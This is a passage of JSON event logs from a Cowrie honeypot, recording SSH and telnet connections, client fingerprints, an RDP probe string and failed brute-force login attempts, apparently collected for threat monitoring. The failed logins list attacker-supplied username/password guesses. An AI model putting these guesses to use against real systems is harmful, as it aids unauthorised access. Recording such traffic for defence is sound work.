16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:24.028100Z","src_ip":"103.27.238.120","session":"4ec1686e5d20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f","message":"login attempt [root/f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:24.845209Z","src_ip":"103.27.238.120","session":"4ec1686e5d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:26.127519Z","src_ip":"103.27.238.120","session":"4ec1686e5d20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.809762954711914,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:26.569417Z","src_ip":"152.42.224.71","session":"466faec862f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59542,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d6aa0c4a705","protocol":"telnet","message":"New connection: 152.42.224.71:59542 (10.17.0.5:23) [session: 0d6aa0c4a705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:29.559499Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":46240,"dst_ip":"159.203.135.109","dst_port":22,"session":"234fb6aacec2","protocol":"ssh","message":"New connection: 87.251.79.125:46240 (159.203.135.109:22) [session: 234fb6aacec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:31.744509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:31.750121Z","src_ip":"87.251.79.125","session":"234fb6aacec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:31.823408Z","src_ip":"87.251.79.125","session":"234fb6aacec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lololowka","message":"login attempt [root/lololowka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:32.043440Z","src_ip":"87.251.79.125","session":"234fb6aacec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:33.119946Z","src_ip":"87.251.79.125","session":"234fb6aacec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.68285417556763,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:33.387627Z","src_ip":"152.42.224.71","session":"a7da9bb64d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59554,"dst_ip":"10.17.0.5","dst_port":23,"session":"809bd55471ab","protocol":"telnet","message":"New connection: 152.42.224.71:59554 (10.17.0.5:23) [session: 809bd55471ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:36.362569Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38684,"dst_ip":"10.17.0.5","dst_port":23,"session":"3261af72175f","protocol":"telnet","message":"New connection: 152.42.224.71:38684 (10.17.0.5:23) [session: 3261af72175f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:38.223758Z"}
{"eventid":"cowrie.session.closed","duration":27.216761827468872,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:38.611088Z","src_ip":"152.42.224.71","session":"6487617e1ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50760,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c2f0664d18","protocol":"ssh","message":"New connection: 152.42.212.128:50760 (10.17.0.5:22) [session: d9c2f0664d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:41.346755Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:41.351898Z","src_ip":"152.42.212.128","session":"d9c2f0664d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:41.356186Z","src_ip":"152.42.212.128","session":"d9c2f0664d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:41.396435Z","src_ip":"101.96.200.105","session":"79ff0d9f10b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.66235613822937,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:47.033175Z","src_ip":"152.42.224.71","session":"5e61b7ad363f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46294,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda7fd748e39","protocol":"telnet","message":"New connection: 152.42.224.71:46294 (10.17.0.5:23) [session: eda7fd748e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:48.370496Z"}
{"eventid":"cowrie.session.closed","duration":16.90497350692749,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:53.267384Z","src_ip":"152.42.224.71","session":"809bd55471ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":60678,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f778b046926","protocol":"ssh","message":"New connection: 62.133.63.178:60678 (10.17.0.5:22) [session: 5f778b046926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:53.974021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:53.979178Z","src_ip":"62.133.63.178","session":"5f778b046926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:54.107590Z","src_ip":"62.133.63.178","session":"5f778b046926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena123","message":"login attempt [root/lena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:54.480882Z","src_ip":"62.133.63.178","session":"5f778b046926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:55.607886Z","src_ip":"62.133.63.178","session":"5f778b046926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46310,"dst_ip":"10.17.0.5","dst_port":23,"session":"822adb57cea5","protocol":"telnet","message":"New connection: 152.42.224.71:46310 (10.17.0.5:23) [session: 822adb57cea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:55.750678Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36460,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce3d2b79f83e","protocol":"telnet","message":"New connection: 152.42.224.71:36460 (10.17.0.5:23) [session: ce3d2b79f83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:57.051242Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":60876,"dst_ip":"10.17.0.5","dst_port":22,"session":"1713ce732029","protocol":"ssh","message":"New connection: 46.19.67.181:60876 (10.17.0.5:22) [session: 1713ce732029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:57.712017Z"}
{"eventid":"cowrie.session.closed","duration":52.74646830558777,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:57.820263Z","src_ip":"152.42.224.71","session":"083f8604c9d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.51258182525635,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:23:59.438179Z","src_ip":"152.42.224.71","session":"2e18e9d8d2c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33598,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be1c4e0c490","protocol":"ssh","message":"New connection: 193.32.162.145:33598 (10.17.0.5:22) [session: 8be1c4e0c490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:09.359555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:09.363411Z","src_ip":"193.32.162.145","session":"8be1c4e0c490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:09.465664Z","src_ip":"193.32.162.145","session":"8be1c4e0c490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:09.760222Z","src_ip":"193.32.162.145","session":"8be1c4e0c490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:10.861544Z","src_ip":"193.32.162.145","session":"8be1c4e0c490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158214569092,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:12.399640Z","src_ip":"152.42.224.71","session":"6cf5459d1120","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.1882483959198,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:13.747628Z","src_ip":"152.42.224.71","session":"0d6aa0c4a705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.59623956680298,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:16.966622Z","src_ip":"152.42.224.71","session":"eda7fd748e39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00756621360779,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:23.817744Z","src_ip":"152.42.224.71","session":"1048103118ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56664,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d7f2f3fe2b7","protocol":"ssh","message":"New connection: 37.233.85.71:56664 (159.203.135.109:22) [session: 9d7f2f3fe2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:31.418011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:31.422748Z","src_ip":"37.233.85.71","session":"9d7f2f3fe2b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:31.523941Z","src_ip":"37.233.85.71","session":"9d7f2f3fe2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertqwert","message":"login attempt [root/qwertqwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:31.824377Z","src_ip":"37.233.85.71","session":"9d7f2f3fe2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:32.930902Z","src_ip":"37.233.85.71","session":"9d7f2f3fe2b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51406,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a07e0c8932","protocol":"telnet","message":"New connection: 152.42.224.71:51406 (10.17.0.5:23) [session: c6a07e0c8932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:42.793798Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43432,"dst_ip":"10.17.0.5","dst_port":23,"session":"56185b94d5f3","protocol":"telnet","message":"New connection: 152.42.224.71:43432 (10.17.0.5:23) [session: 56185b94d5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:48.026416Z"}
{"eventid":"cowrie.session.closed","duration":51.71186113357544,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:48.762795Z","src_ip":"152.42.224.71","session":"ce3d2b79f83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":41184,"dst_ip":"159.203.135.109","dst_port":22,"session":"79f9065098f6","protocol":"ssh","message":"New connection: 38.93.206.2:41184 (159.203.135.109:22) [session: 79f9065098f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:54.435262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:54.440737Z","src_ip":"38.93.206.2","session":"79f9065098f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:54.493824Z","src_ip":"38.93.206.2","session":"79f9065098f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egor","message":"login attempt [root/egor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:54.652122Z","src_ip":"38.93.206.2","session":"79f9065098f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:24:55.705938Z","src_ip":"38.93.206.2","session":"79f9065098f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.41391849517822,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:01.164506Z","src_ip":"152.42.224.71","session":"822adb57cea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56498,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c85a9dbed4","protocol":"telnet","message":"New connection: 152.42.224.71:56498 (10.17.0.5:23) [session: 18c85a9dbed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:11.536504Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53564,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0a25d4e1d9","protocol":"ssh","message":"New connection: 103.153.68.219:53564 (10.17.0.5:22) [session: 8c0a25d4e1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:12.894368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:25:12.905245Z","src_ip":"103.153.68.219","session":"8c0a25d4e1d9","protocol":"ssh"}
